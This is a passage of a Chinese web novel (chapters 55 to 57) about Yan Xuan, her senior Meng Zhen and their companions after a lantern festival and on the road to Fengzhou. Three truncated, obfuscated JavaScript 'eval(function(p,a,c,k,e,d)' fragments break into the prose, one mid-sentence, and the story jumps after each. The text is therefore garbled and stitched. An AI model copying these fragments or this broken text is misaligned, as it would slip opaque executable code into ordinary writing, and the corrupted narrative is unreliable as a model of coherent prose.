“只是师妹?”她伸手捏住他的耳垂,热热的,软软的,令人爱不释手。 “阿璇。”他又用那种发颤的声音喊她,仰着头似乎难耐得很,呼出的热气喷洒在她腕侧。 晏璇今日穿了件凉爽透气的纱裙,大袖子手臂稍抬就会往下滑落。孟珎若是侧头,脸部就会贴上她的手腕。 她继续揉捏着他肉乎乎的耳垂,垂头贴近,一口气吹在他眼睫上:“清醒些了吗?” 孟珎双眼眨动,泛出几丝泪光,哑着声道:“阿璇……欺负我。” 这就算欺负了? 晏璇哼笑:“我有做什么吗?既然你这样说了,那我总得做些什么落实才好。” 那只捏着他耳垂的手顺势捧住了他的侧脸,晏璇再凑近些,直到两人呼吸相闻。 温热的双唇贴近,感受到了比自己还要滚烫的肌肤,她在他的脸侧只停留了一瞬,继续往上,寻到眉梢那处伤痕。晏璇稍稍倾身,一个吻便落在了他的眼角。 孟珎睁着似含着雾气的双眼,一动不动,唯有抓着她的手一下子按向了自己的胸口,结实的胸膛上,晏璇仿佛触摸到了他强烈的心跳。 耳边响起的心跳声不知是谁的,咚咚咚,晏璇有些燥热地舔了下唇,低头捧住他的唇边,又在他嘴角左右两处轻轻落下一吻。恰好此时,烟花在夜空中绽放,绚丽的焰火落下,照亮两人交颈相拥的身影。 “这、这才叫欺负。” 晏璇回身,强势拽回了自己的双手端坐在轮椅上。如此主动还是第一回,有点不好意思也是正常的。 小九:【?!宿主,你,你喜欢这小子啊。】 晏璇:【有什么不可以?本姑娘想喜欢谁就喜欢谁。】 小九:【那倒不是,我觉得你会找个帅哥,哦,姓孟的也不算难看……】 孟珎像是被人点了穴,注视着晏璇的侧脸,真正丢了魂。 晏璇心情不错,微仰着头,哼着小曲吹着夜风,等旁边的人醒过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话落,司珩提气纵步,一个呼吸间,他已跃出花奕的视线。 啧……花奕三两下咬了糖葫芦,扔了木棍紧随其后。 此时距孟珎喝下醪糟甜水快有半个时辰。 司珩追过来的时候,晏璇靠着轮椅一副昏昏欲睡的模样,孟珎低着头像块木头杵着。 他将孟珎打量一番,疑道:“你……红着脸做什么?不会是趁小璇睡着,打了什么歪主意吧?” 晏璇半掀了一只眼瞥了瞥:舅舅,可快别说了,歪主意全是她打的。 “小璇?”司珩推了推她。 晏璇迷迷糊糊道:“舅舅?” 司珩笑笑:“困了?想回去还是想再逛逛?” “困了……可是舅舅你才来。” “这南塘灯会我都逛了多少年了,一点不稀奇,你要是困了,咱就回客栈。” “哦,好啊。”晏璇打了个哈欠,歪在轮椅上不动了。 司珩推着她,路过孟珎又是瞪他一眼。花奕不明所以,随手拿过旁边的点心篮子,瞅着孟珎,确实觉得有哪里不对劲。 “你怎么了?我离开的时候不还和阿璇有说有笑的。” 孟珎一只手紧握着,脸上的热度就没怎么退下去:“我,我喝了点甜酒酿,醉了。” “醉了?”花奕靠近他两步,细瞧他几眼,突然爆笑出声,“不是,你也太……不会是说胡话被阿璇嫌弃了吧,哈哈哈……” 孟珎:“……” 花奕一脸“我完全明白了”的惬意表情,追着司珩而去。 孟珎抬步走在最后,一边摩挲着掌心中的温润,一边望一眼晏璇恬淡的侧颜。 他从未想过那枚平安扣是她给他准备的生辰礼物。 他更没奢想过她心中亦是欢喜他的。 甚至,亲吻了他。 孟珎觉得被晏璇触碰过的嘴角像是被火焰灼烧,不疼但是炙热。 他猛吸一口气,不可置信地轻拍脸颊。 这不是梦吧,不是他醉酒后的幻想吧? “师兄?” “嗯?” 晏璇回头凝望他,笑道:“今晚的夜色很美。” 如果是梦,那就不要醒来。 55. 第 55 章 说好一起逛灯会,最后剩下晏璇和孟珎一起放了河灯,似乎只有她是乐在其中的。 花奕:“我小时候经常偷溜出来玩,灯会庙会逛得多了,现在就是瞧个热闹。” 晏璇从小被关在院子,长大窝在深山,后来只在云边小镇感受了些人土风情。大概也算是一种补偿心理,小时候没机会得到的东西或经历的事,等有能力了就想体验一下。 只是,她看着手里一个类似大风车的幼儿玩具有些哭笑不得。 “舅舅,我已经不是小孩了。” 孟珎会问她有什么想要的,司珩不同,他发现晏璇感兴趣的,二话不说直接挥手拿下,沿街摊铺老板的嘴都要咧到耳后去了。 司珩:“这些东西不就是给人玩的?你要什么,舅舅都给你买。” 前有霸道盘下酒楼的爹,后有盲目买买买的舅,做人还得是有钱。 晏璇微笑着把玩具还了回去,转而换了一些彩线和染色的棉麻布。 司珩歪头不解,仍是把钱一掷:“买了。” 花奕咋舌,得亏他是晏璇舅舅,不然,这样自以为是贴上来的男人,早被破妄刀问候了,哦,她的刀法可能还不能将对方怎样。花奕撇撇嘴,落后几步,与孟珎并肩走着。 “你这回碰上强手了。他可不像阿璇爹娘好说话。” 孟珎一手按在胸前,珍而重之的模样,听花奕说话也没什么反应。 花奕瞟了他一眼:“衣服里藏了什么宝贝?” 孟珎:“……没什么。” 他抚了下衣襟放下手,抬眼看前方晏璇和司珩小声说话。 花奕皱眉:“师弟,你不会是偷偷藏了阿璇的什么东西?可别做这样令人恶心的事。” 孟珎:“……” 他拢了拢衣袖,身姿挺立,只是看着淡定又泛红的脸色甚是可疑! 花奕:“……” 方才她逛去书肆那边,随手捞了本话本瞄了两眼,写的是一个庄稼汉子捡了某小姐的东西私藏,之后极尽直白的描述,两人如何私相授受,吓得她把本子一扔就跑,那画面在脑中却是挥之不去。 花奕不禁慢慢红了脸……姓孟的应该做不出那些没脸没皮的。 转念一想,司珩跟在晏璇身边也没什么不好的,让这俩男的去好好切磋切磋。 她的心情又开朗起来,花奕扬着眉走到晏璇身侧。 “奕姐姐,你觉得这个护腕怎么样?你平日里多耍刀弄枪,原先那个我看着有些旧了。”晏璇停在一个杂货摊子前,挑挑选选。 “姑娘好眼力,我这儿也就您手上这个值点钱,是鹿皮缝制的,柔软又有韧性。还有这几款是织锦的,绝对的好料子,光是手工耗时就得花上半月余。”老板笑呵呵道。 “阿璇……” 花奕原先的护腕是棉布缝的,绑带束袖,她嫌麻烦不常戴,都没在意是不是破了。有人想着自个的感觉真好,花奕心口暖乎乎的,真想当场抱抱她。 “且慢。”司珩上前,用指头勾住半只护腕转了转,嘴角轻扬笑道,“手工针线活确实不错,只是……这皮,真的是鹿皮?老板没有眼花吧。” 老板迎上司珩锐利的目光一颤,又瞥到身后面无表情的孟珎,男人脸色涨红,眉梢上一条骇人长疤痕,一眼就是不好惹的人。老板战战兢兢,拿过护腕干笑着:“哎?天色昏暗我再看看,您稍等。” 司珩却是不愿看他耍些小把戏,低头问晏璇:“东西是还不错的,你想要就买下。” 晏璇看那老板浑身不自在,眼神躲闪的样子,好笑得很。她偏头,用手挡着低声道:“舅舅好厉害,一下就识破了。” “也、也不是什么了不起的,走南闯北看得多了就懂了。”司珩眼角都是笑,被人夸一句,心头熨帖腰窝处都有些痒痒的。 “既然是好东西,就买了吧。舅舅要不要也买一个?” “我一个粗人,用不上这个。” 晏璇笑笑,拿过那个皮的,又挑了两大一小织锦的。她想自己付钱,司珩先把钱给了。 以为生意差点泡汤的老板喜笑颜开:“谢谢爷。” 接下来回去的路上,晏璇没再买什么东西。等到了客栈,晏曜垂头站在门口。 “小曜,原来你已经回来了?我还想要不要让师兄去街上找你。”晏璇道。 “嗯,回了。小姐,玩得开心吗?” “还不错。” 晏璇见他神情有些恍惚,平日里总是会主动跑来帮她推轮椅,此刻不知是不是司珩在的缘故,他怯怯地站着未动。 她再一打量,傍晚出门前她记得他穿的是那件窃蓝色的袍子,眼下却换了件沉香色的布袍。 花奕一把揽过晏曜的肩膀,把他吓了一跳:“师父?!” “阿璇,你不知道,方才我见这小子看热闹掉进了水坑,笑死人了。所以啊,他才早早回来了。” 晏璇:“是吗?” 晏曜看着花奕侧脸,低声应道:“……嗯,是的。” 花奕笑着揉揉他的发顶:“傻徒弟啊。” 司珩:“既然人都在了,好好休整一晚。明天赶路用的马匹,我已经找好了,用不着他们的,至于其他的,以小璇便利为先。” “不愧是前辈。”花奕拍手道。 司珩在晏璇赞叹的目光中,一脸愉悦将她送回了房间,顺带连寡言的孟珎都看顺眼了些。 “你舅舅真的很好哄。”花奕坐在床侧,细数着这一晚上买回来的各种或有用或无用的东西。比如这个雕着兔头的小木槌,她实在不知道干什么用的。 晏璇抬眸看一眼:“按摩脚底的,他担心我一个人的时候不方便,可以拿棒槌自己敲打。” “那为什么是兔头?” “不知道,也许起到一个造型上的好看?” “你确定好看?还不如孟珎给你雕的那些呢。不会是你舅舅自己喜欢吧?” “唔……其实他的心性说不定还停留在跟我娘分开那会,这些年只长了年纪,被迫成了大人的样子。” “哎,听起来怪可怜的。”花奕拿着锤子给晏璇敲腿,叹道,“阿璇,你可不能出事啊。不然,我真怕你舅舅会……” “好了,不说他了,把手伸过来吧。”晏璇夺过那个丑棒槌。 她给花奕套上护腕,调整了下松紧:“重新打的暗扣,你看合不合适?” 花奕抬手转了转,满意得不行。 “妥帖!一百个一千个合适,阿璇,你的手也变得这么巧了。” “一个扣子的事,哪扯得上手巧。” 晏璇拿起另一个小号护腕,边检查绑带和内衬边道:“小曜他……真是掉进水里了?旁边的人没看他笑话吧。” 花奕动着手腕筋骨,闻言一顿,笑道:“是,一个暗坑,不小心掉进去的,我也是恰好路过看见了,没旁人见着你放心。以后这样的事,他自己心里有数便不会再掉第二次了。” “那就好。” 门口,孟珎接过晏曜手中煎好的药,小声道:“我来吧,房间桌上有个药瓶,倒一些在脏衣服上把污渍洗干净了。” 晏曜的嘴唇微抖,脸色倏地有些发白。 “既然做了,就没什么怕的,不想阿璇担心,就快些冷静下来。” 晏曜咬着牙,垂眸点点头:“嗯,我知道了,孟大哥。” 孟珎来给晏璇送药,顺便给她做腿部针灸,再过半个月,没什么意外的话,她就可以去掉夹板了。 花奕抱着晏璇那堆小玩意走了,走时瞥了眼孟珎,到门口还不忘嘱咐一句:“早些休息,今晚上该说不该说的都说了一大堆了,还有什么要说的白天也能说。” 晏璇:“知道了。” 她捧过药碗,凑近呼着气吹凉。 孟珎的视线不自觉落在晏璇左右微晃的唇上,略显淡色的唇,似气血不足,师父给她调养了多年都没什么改善。可这双看似霜冰一样的唇,碰触间犹如烈焰焚身,燃过被她触抚过的每一寸。 孟珎的脸又红了。 好不容易才散了之前的醉意。 晏璇喝完药,擦着嘴瞧他一眼,他已收回视线,摆弄着手上的针包:“我给你扎针。” 晏璇“嗯”了声,望了眼他通红的耳垂笑靠在床头,继续拿过一旁的护腕拆拆缝缝,一时间,两人俱都不言,房内偶尔响起灯烛的哔剥声。 也不知过去了多久,窗户外传来哐当声似狂风乱舞,“啪”的一声,半扇窗户被吹开了少许。 “我、我去关窗。”孟珎站起身。 小九:【总算有人开口说话了。宿主,你们做什么呢,不觉得憋得慌吗?】 晏璇哼笑:【你是个系统,不会懂。】 小九:【我懂,姓孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她迷惑着见孟珎从衣襟处掏出一根红色的穗子?好像是个平安结。 “剩下的一半我编好了。”他掌心中躺着枚不怎么平整的绳结,语气里有些小心翼翼,“那时你说了要送我,只是被金麓掳走的时候不小心丢了。我骗了你,它一直在我这里,是我捡走的。” 晏璇:“……” 她愣了好一会才想起多年前的自己为了打发时间,好像是随手编了点什么。可是那是多少年前的东西,若没有今日这枚平安扣的事,他要把这个编得丑了吧唧的东西带到坟墓里去不成? 晏璇轻吸了口气。倘若眼前换作旁人,告诉她做了这样的事,她会疑心一下此人的人品,可现在变成了孟珎,她被温水煮青蛙,没觉得他可怕,只觉得他傻得惹人心口泛酸。 晏璇盯着他,觉得自己节节败退。任她说过什么谎,耍了什么小心机,最后在他这里都能得到正面的回应,他不会让她每一次的付出落空。 “阿璇……你生气了?”孟珎心头的忐忑变成了慌乱。 “没有。”她捂着眼睛仰了头,“就是……心跳得有点快。” “是哪里不舒服了?” 晏璇嚯嚯低笑出声:“没有不舒服,也没有生气,什么都没有。” “师兄,我又想欺负你了怎么办?” 孟珎睁大眼:“什、什么?” 晏璇放开手,直起身凑近他:“我喜欢欺负你,你喜欢我欺负你吗?” 两人的心跳又不约而同交织出惑人的鼓点声,暧昧如实质般流淌在空气之中。 “若你喜欢,我也是喜欢的。” 你不喜欢,我也想喜欢你,可以吗? 曾经孟珎如此想着,然而此刻,他无需再问。他知道,晏璇是喜欢他的。 一夜安眠,南塘迎来了一个阴天。 行李整装完毕,一行人坐在客栈楼下等着。 一身粗布衣,头戴草帽的男人走进门内,哑声道:“信来了,各位启程出发了。” 晏璇接过信松了口气,林叔…… 几人陆续往后院走去,布衣男人走在一侧,晏璇打量几眼,觉得此人身形颇为眼熟。 “这位大哥……” “我是此次负责驾车的车夫,小人姓任。” 晏璇:“……” 这声音分明就是杜若! 好,走一趟丰州还要易容,看来事情可能并非顺路看个病如此简单…… 56. 第 56 章 焚香沐浴,洗漱更衣,待喝过一盏清茶,邱明嘉才觉身心都缓了过来。 他整了整衣袍,大步走出屋子。院内的榆树下,时天辰正背手而立。 “少主。”邱明嘉几步上前。 树荫下,时天辰转过身来,微微颔首道:“辛苦了,一路可还顺利?” “南塘到斛县都是大明路,途中只换了两次马,总算不负所托。路上无事,到了晏家倒是耽搁了不少时辰。” “哦?”时天辰微一挑眉,“晏姑娘的家人为难你了?” “倒也不算为难。晏家人行事小心,盘问了我几句,还有个十分谨慎的管家,我瞧着非等闲之辈。” 邱明嘉想起林靖那双锐利的眸子,仿佛嗅到了同类的气息,心头微沉,这晏家真是普通的商户? “少主。”邱明嘉凑近少许,低语道,“您为何如此信任晏姑娘?” 时天辰一愣,轻笑道:“你觉得我盲目信任于人?” “少主的意思?”邱明嘉望着时天辰一脸平和与世无争的模样,不敢深想。 时天辰自知心性淡泊,很多时候不多计较,令邱明嘉和杜若甚至是庄上的大多数人都觉得他过于仁慈,他见邱明嘉如此疑惑不禁哑然失笑。 “这次,她将筹码压在我身上赌了一回,金雀山庄的少庄主应该做不出不合身份的小人行径。否则,她不会轻易透露家人的消息,若哪一天晏家出了事,我反而有诸多嫌疑。” 邱明嘉:“……” 他就觉得这姑娘看着柔善可欺,心眼一点不少。 “不过,”时天辰话锋一转,感慨道,“她终究是个学医的姑娘家,狠不下心,不然,阿若还需吃些苦头。” “少主既知,为何仍让杜若护送?” 虽然晏璇手下留情,在那日的药茶里放了解药,可她下手的时候也是真狠。邱明嘉替杜若看过伤口,毒发忍耐不住时抓得鲜血淋漓,他差点以为晏璇是江湖上乔二娘之流的毒妇。 “她给了阿若机会就表明不再追究,她是个恩怨分明的人,懂得点到为止。” 时天辰望着停在墙头的两只彩色雀鸟,又道:“这些年,老阁主的脾气依旧,怕是对谁都没好脸色,阿若去也好缓和一下些。” 邱明嘉点点头:“少主考量得是。那……孟珎的来历,少主可清楚?到时,去了流云岛会不会发生什么意外?” 金鹄亲自寻来的人,邱明嘉本不会多加置喙,然孟珎偏偏和披云堂沾上了关系。时天辰的舅舅时墉,正是当年披云堂失了踪迹的副堂主,灭门之祸后卧病不起,至今在流云岛静养,江湖上未有人知。 邱明嘉的顾虑,时天辰已有深思。几番衡量下,他才向晏璇提了请求而非孟珎,何尝不是一种制约手段。暗室意外的发生,他料定了孟珎凡事会以晏璇为先,不敢乱来。 他二人那般旁若无人浓厚的情感,时天辰竟有些艳羡,心头一时怅惘。 他向邱明嘉温和笑笑:“父亲虽未对我明说,我猜他是昔日神医孟尧之后。至于他与披云堂的关系,或许涉及故人,舅舅见了他未必不是件好事。” 父亲请来为他治伤的人,恰好与舅舅有关,不可谓不是天意。 “少主,此事需向庄主禀明吗?非我信不过他们师兄妹,光晏姑娘身边的人个个不简单,江湖上不知何时多了这些新鲜面孔。” “暂且不用,以免再次弄巧成拙。眼下,还是殷数的事较为要紧,我怀疑庄里有人浑水摸鱼,想借我金雀山庄之手来对付他。”时天辰沉下眉道。 “属下明白。”邱明嘉收起总是悠哉的戏谑神情,亦十分凝重,“峋山派此次虽未将人擒获,两方俱有损伤,一时间那人应该不会妄动,我会时刻盯着庄内的动静。” 时天辰点点头:“明嘉,一切有你,我放心。” · 天色阴暗,晨起时还有少许曦光,待到了午后被云层遮挡,黑云在空中渐拢。杜若担心下雨马车难行,提议尽量在天黑时找到一个落脚处。 大道上,三匹骏马左右相伴,一辆宽敞的双辕车行在中间。 车声辚辚,晏璇靠坐在车窗边,手上是邱明嘉带回的信。只一张信纸,寥寥几语,林叔并没有多提当年的事,反是担心她是不是遇到了司家的人寻仇,要不是她事先在信中表明自己很安全,让他无论如何先照顾好她爹娘,说不定此刻他已来了南塘。 司家人寻仇啊……倒是把她给寻走了。晏璇笑不出来,字里行间林叔虽未和盘托出,却也证实当年的事确实是披云堂贼喊捉贼,无论是司珩、她未曾见过面的亲娘司玥,还是披云堂的弟子们,俱被凌羽的一己之私所害。 身为披云堂的人,林叔自觉有愧,可最终也没有揭露真相,保全了一门之主的尊严,所以他更觉自己有罪,重伤后若不是被她爹娘所救,他早就去地下同死去的弟子们相聚了。 晏璇不是什么好人,她向来是有怨报怨,有仇报仇,作为司玥的女儿,她该为她娘讨回一份公道。当年害她的人已被司珩杀了,同样的,司珩也落了个残暴的疯子头衔,明明是最初的受害者,却被钉在了心怀不轨杀人不眨眼的耻辱柱上十几年。 这是一个暴力的时代,她不能简单地说司珩做得对或错,当他们发生冲突时,俱是以性命相搏,所以会有冤冤相报何时了的劝言。 这也是一个看重道义和名望的时代,若有人恶事做尽,声誉扫地,那么德高望重者可一呼百应,江湖败类,人人得而诛之。 晏璇没那么高的道德,她不想去趟江湖的浑水,也不想别人把浑水倒在他们头顶。 想要洗掉当初司珩和她娘身上遭受的诬蔑,首先得找最直接的陷害者,凌羽已死此路不通,知情者林叔隐姓埋名,仅是顾及他与自己如同父女的十多年感情,晏璇也不好再将他推到风口浪尖上。 此事该如何破局,她要再理一理。 啊,好想把凌羽吊起来打一顿,什么死者为大,他根本不配。林叔与他有恩义,她没有! “小晏子,别掐了,再掐你的手要受伤了。” “啊?”晏璇一惊,愣愣地看着对面的十一。 十一一身夜行衣,面戴黑色罩巾,双手抱胸拧眉看着她。 “小姐。”晏曜坐在晏璇一侧,他凑近几分捧起她的右手,眼含痛色急道,“小姐快松手,流血了。” 晏璇这才摊开掌心看了一眼,锋利的指甲将手心抠出了一道口子,血液洇湿了指尖。 “信上写什么了,把你气成这样?”十一微抬了抬下巴。 “呵,没事。”晏璇笑了声,拿过随身带的帕子按压住伤口,“一时没注意,该剪指甲了啊。” 十一耸了下肩没多问,只是幽怨道:“我能不能上外头去?哪个做暗卫的会像我这般坐在马车上待着。” 晏璇:“也没有穿成你这样骑马跟在后头的,多招人视线。你要是不舒服,把面巾摘了,你要是愿意,我还能借你一套衣服换了。” “谁会骑马大摇大摆跟在后头?” “要不然呢?”晏璇歪头疑惑道,“总不能靠轻功飞吧?那得多累。” 十一:“……” “对了。”晏璇化身“十万个为什么”,好奇道,“做暗卫的,不管白天黑夜都穿成这样吗?不会很显眼被人看见吗?” “是。不过几年前楼里有说,白天为了隐蔽身形可适当乔装。”十一没好气道。 晏璇:“那为什么你总是穿着这套衣服?我每次见你似乎都没变过,难道说你有好几件一模一样的,每次换着穿?” 十一:“……” 晏璇张大了嘴:“那你分得清哪件是哪件吗?” 十一:“……” 晏璇忍不住嘴角微翘:“我有几件没穿过的夏装,你要不要试一试?比这个什么夜行衣肯定凉快。” “你今天的话好多。”十一看了她半天才道出一句。 “是吗?我一直都是这样的呀。”晏璇侧头问晏曜,“是吧,小曜?” 晏曜看看十一耷拉的眼角,朝她腼腆地点点头,这小子越来越能读懂她的眼色,配合极佳。 晏璇低笑出声,十一忍不住趴着车窗大叫一声:“我要跳车!” 闻声,孟珎勒马慢慢靠过来,在车窗外问道:“阿璇,怎么了?” “师兄,没事,我和十一闹着玩呢。”晏璇撩起帘子笑道。 车厢内,她的伤腿正搁在十一身上,正因如此,十一才没有第一时间反抗逃离,谁叫晏璇是她的保护对象呢。 孟珎瞥了眼晏璇的侧脸,她笑起来时脸颊微鼓,煞是可爱。他盯了几眼很快移开视线,柔声道:“那就好。” 花奕牵着缰绳从他身边骑马晃过,斜睨着他:“‘那就好~’,在阿璇面前可劲装吧你。” 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“没那么严重,我擦些药就好。” 晏璇不以为意,从车厢里放着的药柜中打开其中一个抽屉,拿出一小瓶药膏,她剜了一些涂在伤处,再用那块旧帕子缠了一圈,等药完全吸收了再解开。 “正好,我给你看看背上的伤。” “不、不用了吧,小姐,上次我就好全了。”晏曜捂着衣襟微微后仰。 晏璇拧眉:“你怕什么?十一还在呢,我能做些什么不成。” 十一:“……” 晏曜双耳微红:“真的不用……” “转过去,越是遮掩越有什么。”晏璇强按住他的一侧肩膀,扒着他的后领就往外扯,“自己把腰带解了。” 晏曜抿了抿唇,侧过身子慢慢解着腰带,衣衫滑落堆叠在腰间,晏璇侧对着他的背面,不觉沉出一口气。 之前斑驳的伤痕确实有所好转,那也只限于腰间和背部的某些地方,背心处,深深浅浅的痕迹一看便是糊弄的结果,肩胛骨上的伤甚至仍有些红肿。 “不方便上药为什么不说?还是说给你的药不够用,你便随意抹了两下对付?”晏璇看不惯他这副唯唯诺诺的样子,含着气道,“那人虐待你是那人有病,你现在明明有了机会却不想着变好那是自虐,是不珍惜。” “对不起,小姐。” 晏曜想转过头来,被晏璇用力压着,她一边抹着药,一边冷声道:“对不起有何用,若是能让伤变好,你说一百句一万句都没人拦你。” 小小的一瓶药,很快被晏璇用完了,她又从柜子里取出另一个大瓶的,把晏曜的整个背都涂了个遍。后颈处靠近左肩的地方有块红斑,晏璇以为是伤口,又重重抹了几次药膏。 “小姐,那、那个不是伤疤,是、是胎记。”少年抽抽噎噎,眼泪吧嗒吧嗒地开始往下掉。 晏璇:“……” 她用指头搓了搓,还真是一块类似月牙形的胎记。 “胎记就胎记,抹了药又不会出事,你哭什么?” “我、对不起,小姐对我的好,我、我不敢不珍惜。不是……药不够,是我,我舍不得,怕再没有人这么对我好了。” 少年低着头,泪水不断滴落洇湿了眼前的裤子,他绞着手指绷紧了后背,怕晏璇就此说出不要他的气话。 他哭的时候也是强忍着,整个人一抽一抽的,习惯了痛苦,连对自己好都像是罪过。 晏璇在心中叹气,抬手拍在他的肩上:“你再不听话,我才真懒得管你了。放松!药都白涂了。” “真像……”十一徒然开口道。 “什么?”晏璇偏过头看她。 “你和我阿爹真像,生气的样子像,骂人的样子也像,就连……” “就连什么?” “没什么……” “就连爱管教人也像,是不是?”晏璇气呼呼瞪她一眼,回头用指头戳了戳晏曜的后背,“衣服穿好,罚你到吃晚饭前都不许和我说话。” 晏曜抹了泪,顺从地点了点头。 面巾下的十一微微扬起了笑。 就连待人好也是一样的,这世上只有阿爹和她想着为她做新衣裳。 57. 第 57 章 晏璇想借时天辰的光办事,可天下第一庄的光不是随便好借的。她预感这次流云岛之行会有些意外,是好是坏猜不准。每当事情到了某些节点,她只是站在那,一些无形的能量就会涌动,跟玩游戏触发任务似的。 来人世一遭就是开始一场大型游戏。 晏璇虽明白依旧懒散着,她既不是花奕那般如火的性子,也没有十一坚定的组织信仰,她一如既往只是苟活。 成年的愿望已经苟到,希望这份幸运继续。因为一些人的存在,她已经尝到了不少人生乐趣,久远记忆里的麻木与孤寂,她恐怕不能再忍受了。 晏璇靠着车壁闭目养神,托时天辰的福,他准备的马车宽阔舒适,外头瞅着低调,内里各处铺设了柔软的坐垫与地毯,行进路中,晏璇没有感受到太强烈的颠簸。 晏曜被训了一番,安静如鸡缩在一角。晏璇见他委屈兮兮的,另指了捣药的任务给他,他反而来了精神,一心一意对着一堆药材捣鼓。 车厢里静了下来,只剩药杵的研磨声。 十一的视线在对面一大一小身上转悠,随后又打量起马车内的装饰,用的什么木料雕的什么花纹,挂着的帘子用的什么料子。从前觉得好没意思的东西,眼下似乎比研究武功心法看得还认真。 往日里她躲在暗处,如一只伏在树上的蝉,几个时辰不叫人发现动静。如今不到一刻钟,底下坐的地方仿佛抹了油,身上各处像沾了草屑木刺,她难受得时不时扭动一下身子。 “做什么?” 晏璇半睁开眼,兔头棒槌敲在十一在她面前张开的手掌上。 “哎呀!我就看看,看看你是不是睡着了……”十一讪笑,缩回手盘腿坐好,乖巧的像另一个飞黄。 “你有话同我说?”晏璇疑惑看她,从药柜旁边的小柜子里翻出一个油纸包。 她拆开纸包,露出里面的核桃糕、红豆糕、枣糕等好几样糕点,甜香味扑鼻,令人心情愉悦。晏璇拣了一小块核桃糕吃,把纸包递到十一面前:“想吃什么自己拿。” 十一看她动作,眼睛没挪开过,一下挺直了背伸手拿了一块红豆糕,顿了顿,她又拿了第二块,有些憨憨地笑道:“多谢。” 她的喜好也太明显了,这红豆糕的魅力竟如此之大,怎么都吃不厌? 晏璇等她选好了,把点心放到晏曜的手边。 晏曜一愣,抬头看她,她已转回了脸对着十一。 他张了张嘴,想起被禁了言只好住嘴,垂着头继续捣药,没捣两下又停了动作,他将手在身上擦了擦,拿过纸包重新包好放回了晏璇身边。 余光中,晏璇注意着他的举动。这小子为了不惹她生气,这一小段时间里脑袋瓜不知转了几个弯。 察言观色是学会了,自尊自爱非言传所能授也。 十一咬着糕点,含糊道:“七哥给你的锦囊看了没有,如何?” “哦,承他吉言。” “那就是说有好事发生。” “顺其自然吧。”晏璇拿棒槌挠着痒,忽然道,“我如何才能知晓是谁花钱请了你们来?” 十一撇撇嘴:“没人知道,除了楼主。” “楼主?”晏璇点点下巴,“那我要见你们楼主。” “什么?!”十一猛咳一声,举起手晃了起来,“你见不到的。” 晏璇:“说到底,莫、你们楼也是开门做生意的,我为何不能见?”时天辰这次又是大手笔,她不怕没钱和人谈条件。 “现在是少楼主管着楼里的事务,他不可能破坏楼中规矩,就算你见到了人也不会有结果的。”十一难得正经起来,语速飞快含着焦急。 晏璇:“你……很怕他。” “才、才不是怕他。” “你说话都结巴了。” “……” 十一一把夺过她手里的棒槌,晏璇怀疑她要对着自己的脑袋来一下,结果她只是有些烦躁地在空中乱挥一通。 “你凡事想得简单,要不是有外面那几个人在,你之前都不知要被人骗去多少,丢几次性命。” “我很笨?” “不是笨!是纯得发傻!” “你骂我傻?” “不是!”十一一下跃起,脑袋差点撞到马车顶,她揉着额头叉腿坐下,姿势十分豪迈,拿棒槌猛敲自己大腿,“我……怕你被人欺负了。” 晏璇笑看着她一通操作,简直自乱阵脚,温和道:“那什么少楼主,以前是不是欺负你了?所以,你怕他。” “都说了不是怕他……” “那他做了什么?我心平气和和他谈生意,他还能吃了我?” “他……喜怒无常的,就算是大哥也被罚过,伤得半个月下不了床。” “哦,原来是个小暴君。他也打过你?” 十一捏着那根兔头棒槌,手上的青筋都鼓了起来,半晌咬牙道:“有一次,我不想杀人,他很生气,拿鞭子抽人,阿爹替我挡了。阿爹他身体很差,那一次伤得很重。” 十一的眼睛红红的,像是要滴下泪来,晏璇心头忽的有些难受,要是她爹娘被人伤了,她绝对会跟人拼命。 “你阿爹也是楼里的人?” “嗯,楼主对他有恩,他一直待在楼里。小的时候,都是他教我们读书写字。” 晏璇脑中,勾勒出了一个手无缚鸡之力温和的书生模样。 “你们少楼主这般胡来,楼里其他人都视而不见,楼主也不管教吗?” 十一抬眼看她,很是无奈:“这其中不是一两句话说得清的,反正我不要你去找他。” 见她十分恐慌固执,晏璇只好暂时放下这个念头。那个所谓的少楼主,怕不是有什么躁症,让师兄给他扎两针说不定能治一治。 晏璇正想着某种可能,见十一从衣襟里摸了摸,掏出一块玉雕,玉质普普通通,胜在雕工精湛,动物形态栩栩如生。 “我不知你喜欢什么,昨夜看你盯着这个看了许久,我就买了。”她的手心躺着一枚碧色玉石,雕的是一只奶狗的模样。 她眼中的红色褪去,多了一份羞涩,小声道:“送你。” 晏璇眸中不掩讶异,亦有微妙的触动。 未等她张口道谢,又听十一道:“我再向你要些治腿伤的药,可以吗?” 晏璇:“……” “我知道那些药都贵得很,要是不行,我可以打个欠条,等我拿到了钱,再还你……” 见她窘得快要缩到车厢角落,晏璇伸手把玉雕拿了,在手中把玩:“丑得怪可爱的。” 她从百宝袋里挑了一根红绳,穿过玉雕的孔洞将它绑在了腰间。 “你真的喜欢啊?”十一的声音大了起来。 晏璇盯着看了会:“喜欢啊。” 十一:“那……” 晏璇夺回了自己的兔头棒槌,道:“伸手。” 十一不明所以,伸出左手。 晏璇“邦邦邦”就给她锤了三下,这丑东西用起来还挺顺手。她眯了眼哼道:“我很小气?” 十一呐呐道:“不。” 晏璇:“药的事直说就好,拐一个大弯是说你不是真心想送我东西?” “没有……真、真心的。” 若不是有面巾遮挡,十一的脸简直红得没法见人。 “是治什么腿伤?不同的药效果也是不一样的。” “是旧伤!好些年了,每逢阴雨天都很难受。” 在晏璇的一番详问下,知道她是为了她阿爹求药,许多年前的粉碎性摔伤未得到及时救治,想要正常走路是不能了,现在只想让他减轻伤痛。 晏璇应了,不过她要重新调配药膏,尽量做到最好。 十一几乎是感激涕零:“谢谢你,小晏子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晏璇还在发愣,一下就仰面躺在了十一胸前,那双抱着她的手臂,匀称结实,强健有力,晏璇几乎贴身感受到了对方包裹在夜行衣下的肌肉。 晏璇:“……” 她忍不住捏了捏对方的臂膀。 十一:“不用怕,不会把你摔了。” 